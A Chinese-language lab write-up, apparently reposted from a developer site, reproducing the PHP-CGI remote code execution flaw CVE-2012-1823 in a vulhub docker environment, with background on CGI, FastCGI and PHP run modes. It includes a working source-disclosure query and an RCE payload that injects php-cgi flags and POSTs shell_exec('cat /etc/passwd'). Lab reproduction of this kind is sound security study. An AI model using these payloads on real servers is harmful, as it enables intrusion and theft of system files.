这个漏洞简单来说,就是用户请求的querystring(querystring字面上的意思就是查询字符串,一般是对http请求所带的数据进行解析,这里也是只http请求中所带的数据)
被作为了php-cgi的参数,最终导致了一系列结果。
影响范围:漏洞影响版本 PHP < 5.3.12 or PHP < 5.4.2
PS:CVE-2012-1823是在php-cgi运行模式下出现的漏洞,其漏洞只出现在以cgi模式运行的PHP中
复现环境
docker容器环境:kali2020
ip:192.168.117.128:8082(默认为8080,我这里改为8082)
环境开启过程:
进入/vulhub/PHP/CVE-2012-1823目录下
打开终端:
sudo docker-compose up -d
开启后查看容器信息:
sudo docker ps
进入靶机:在浏览器访问 http://your-ip:8082()
漏洞复现过程
Cgi模式下命令行参数有如下一些参数可用
-c 指定PHP.ini文件的位置-n 不要加载PHP.ini文件-d 指定配置项-b 启动fastcgi进程-s 显示文件源码-T 执行指定次该文件-h和-? 显示帮助
源码泄露playload:
/index.PHP?-s
远程执行playload:
/index.PHP?-d+allow_url_include%3don+-d+auto_prepend_file%3dPHP%3a
//input url解码:(-d allow_url_include=on -d auto_prepend_file=PHP://input)
//allow_url_include=on 将allow_url_include打开,使得可以文件包含,可以用伪协议
//auto_prepend_file 每次在加载访问的PHP文件之前,都访问PHP://input(也就是POST中的参数内容
POST: <?PHP echo shell_exec('cat /etc/passwd');?>
补充知识
1)cgi 通用网关接口(Common Gateway Interface))
CGI即通用网关接口(Common Gateway Interface),它是一段程序, 通俗的讲CGI就象是一座桥,把网页和WEB服务器中的执行程序连接起来,它把HTML接收的指令传递给服务器的执行程序,再把服务器执行程序的结果返还给HTML页。
2) fast-cgi 常驻 (long-live) 型的 CGI 【PHP-fpm:PHP的FastCGI进程管理器】
fast-cgi 是cgi的升级版本,FastCGI 像是一个常驻 (long-live) 型的 CGI,它可以一直执行着,只要激活后,不会每次都要花费时间去 fork 一次 (这是 CGI 最为人诟病的 fork-and-execute 模式)。
3) cli 命令行运行 (Command line Interface)
cli是PHP的命令行运行模式,大家经常会使用它,但是可能并没有注意到(例如:我们在linux下经常使用 "PHP -m"查找PHP安装了那些扩展就是PHP命令行运行模式;有兴趣的同学可以输入PHP -h去深入研究该运行模式)
4)web模块模式 (apache等web服务器运行的模块模式)
模块模式是以mod_PHP5模块的形式集成,此时mod_PHP5模块的作用是接收Apache传递过来的PHP文件请求,并处理这些请求,然后将处理后的结果返回给Apache。
总结
以上是内存溢出为你收集整理的PHP-CGI远程代码执行漏洞CVE-2012-1823漏洞复现全部内容,希望文章能够帮你解决PHP-CGI远程代码执行漏洞CVE-2012-1823漏洞复现所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)